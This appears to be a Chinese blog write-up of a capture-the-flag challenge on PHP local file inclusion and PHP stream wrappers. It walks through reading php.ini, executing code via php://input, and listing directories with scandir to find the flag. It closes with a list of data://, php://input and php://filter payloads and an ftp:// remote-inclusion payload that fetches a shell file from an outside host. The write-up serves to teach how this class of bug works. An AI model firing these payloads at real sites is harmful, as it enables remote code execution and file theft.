CTF 文件包含与伪协议

正巧在写代码审计的文章,无意间看到了一篇CTF的代码审计,CTF题目很好,用的姿势正如标题,文件包含和伪协议。

先放出原文链接(http://www.freebuf.com/column/150028.html)

题目源自国外某挑战平台,平台上还有许多其他有趣的challenges题目。

站点地址:http://chall.tasteless.eu/

这次的题目链接:http://level3.tasteless.eu/

下面就做题吧。

首先看下源码

<?php
highlight_file('index.php');
/*
view file: php.ini
so here is my hint: the included php.ini file is part of the configugartion file used on the server the bug was found.
so there will be something in it which enables you to solve this level, wont?

always be UP TO DATE!

hint enough, might just take you seconds to do?!
*/
error_reporting(0);
include('anti_rfi.php'); //rfi is forbidden!!!!!

$inc = @$_GET['file'];
@require_once($inc);
?>

源码给的很直接,不像某些CTF的比赛,WEB题目都能整成密码题目,美名其曰解密出源码,套路很深(吐槽)

分析一下上面的代码

1,highlight_file() 函数对index.php文件进行语法高亮显示。

2,包含了anti_rfi.php,并提示不允许进行远程文件包含

3,使用require_one包含了GET请求的file参数。

4,注释的提示信息:要读取PHP.ini ,里面有敏感信息

现在思路已经很明确了,首先读取php.ini和anti_rfi.php

首先来看一下php.ini,直接打开链接(http://level3.tasteless.eu/php.ini),ctrl+f 搜索allow

 

 

从php.ini中得到了allow_url_include是on的状态,所以可以使用PHP伪协议执行代码,可以使用php://input的协议,成功执行了代码。

 

 

 

此时需要获取站点的目录信息,由于allow_url_fopen是为off的状态所以无法使用远程文件包含执行命令了,也就无法直接用菜刀去连接并寻找flag,

但是已经知道网站的根目录/var/www/chall/level3

因为限制了命令执行的函数,所以不能够执行系统命令

失败

失败

 

但是PHP的scandir()函数会将当先目录下的目录结构以数组的方式保存

<?php print_r(scandir('/var/www/chall/level3'))?>

 

看到了th3_f14g文件,直接访问:http://level3.tasteless.eu/th3_fl4g

成功得到flag

题目就这样做完了,虽然题目不是很难,但是用到的技巧很是高妙。

他们的一个总结:

解题过程大致有如下3步骤:

1.分析站点给出的源代码

2.判断allow_url_fopen,allow_url_include的开启状态,来推测可以使用的伪协议

3.使用相应的伪协议执行代码获取flag

当无法判断allow_url_fopen,allow_url_include的开启状态时,可逐一尝试如下的请求判断哪些能够执行,如果有上传功能那么可能是考phar或zip等压缩流的知识点。 

PHP 读文件和代码执行的方式:

1.?file=data:text/plain,<?php phpinfo()?>

2.?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

3.?file=php://input [POST DATA:]<?php phpinfo()?>

4.?file=php://filter/read=convert.base64-encode/resource=xxx.php

 

虽然本题allow_url_fopen是off的状态,所以是无法使用远程文件包含的,如果是ON的话就需要使用文件包含读取anti_rfi.php文件,查看文件中的源码了。 

如,使用http://level3.tasteless.eu/index.php?file=php://input     

<?php highlight_file(‘anti_rfi.php’)?>

读取anti_rfi.php文件的源码信息。

从源码中可以看到使用了正则匹配http://, data 匹配到了,返回hacker detected,但是并没有匹配ftp://所以使用ftp://也是一个思路。

当allow_url_fopen=On并且 allow_url_include=On时,就可以使用ftp。payload:index.php?file=ftp://www.shell.com/shell.txt

就到这里了,任重而道远。

posted on 2017-11-06 20:43  Oran9e  阅读(13390)  评论(0编辑  收藏  举报